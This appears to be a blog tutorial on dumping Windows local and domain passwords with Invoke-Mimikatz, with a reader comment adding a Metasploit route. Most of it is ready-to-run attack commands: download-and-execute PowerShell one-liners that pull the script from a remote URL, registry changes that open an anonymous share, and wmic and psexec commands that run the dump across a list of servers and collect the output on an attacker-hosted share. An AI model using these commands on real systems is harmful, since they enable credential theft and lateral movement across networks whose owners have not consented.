Mimikatz: Windows Powershell Script for Dumping Local and Domain Passwords

Share:Share on FacebookShare on Google+Tweet about this on TwitterShare on RedditPin on PinterestShare on StumbleUponEmail this to someoneDigg thisShare on LinkedInShare on Tumblr

powershell_2

clymb3r recently posted a script called “Invoke-Mimikatz.ps1” basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

This is really frickin’ awesome! Now, if you can momentarily launch an admin CMD, away you go with this script. The following commands will pull the script from the net and launch it right away, giving you readouts of all the passwords.

You can very easily use this script directly from an admin command prompt as so:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

(This works REALLY well for Citrix and Kiosk scenarios and it’s too hard to type/remember)

This runs the powershell script by directly pulling it from Github and executing it “in memory” on your system.

Actually, here is a sample output from a computer I ran it on (Don’t worry, I put up the username and password just for this demo):

mimikatz-result

As you can see… it is kind of in a different language, but it is pretty self-explanatory. You can see above that this particular username was Ultimate on the computer Gondor, and the password was SuperSecret.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds -ComputerName @(‘computer1′, ‘computer2′)”

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled, more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn’t a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it “Mass Mimikatz

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

cd\

mkdir open

net share open=C:\open /grant:everyone,full

icacls C:\open\ /grant Everyone:(OI)(CI)F /t

We are setting “Everyone” permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the “Everyone” token so that we don’t have to get crazy with our permissions. A meterpreter script that has a bunch of error checking is here: massmimi_reg.rb

or you can just make the following changes:

HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open

HKLM\System\CurrentControlSet\Contol\Lsa “EveryoneIncludesAnonymous” = 1

Step 3. Change directory into new “open” directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd – this script will run our hosted Invoke-Mimikatz script on each host:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.127:8080/Invoke-Mimikatz.ps1′); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

Step 5. Upload clymb3r’s Invoke-Mimikatz ps1 – Download from PowerSploit repo: source on github

MongooseStep 6. Upload mongoose: Downloads Page – Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt – This is a line by line list of computer names to use mimikatz on. You’ll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) – This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:

wmic /node:@serverlist.txt process call create “\\192.168.92.127\open\powershellme.cmd”

Step 9b. Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create “\\192.168.92.127\open\powershellme.cmd”

Step 10. Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don’t forget to clean up::

  1. kill mongoose process
  2. net share open /delete
  3. kill/reset registry values
  4. delete “open” directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe “enable-psremoting -force”


Share:Share on FacebookShare on Google+Tweet about this on TwitterShare on RedditPin on PinterestShare on StumbleUponEmail this to someoneDigg thisShare on LinkedInShare on Tumblr
Tagged , , , , , , , , , , , , , , , , , , , , , , , , . Bookmark the permalink.

2 Responses to Mimikatz: Windows Powershell Script for Dumping Local and Domain Passwords

  1. moonshine says:

    Man… This tutorial is good, but you went through hell and back to get mimikatz to dump creds… You can just use metasploit and when you get a meterpreter session do, ‘getsystem 0′, then ‘get privs’, then type, ‘load mimikatz’ and then wdigest. It’s as simple as that. This works best with ms08_067, but as long as you have an active meterpreter session on any box, this will work. Saves time and the headache involved with running powershell and navigating through the registry..

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>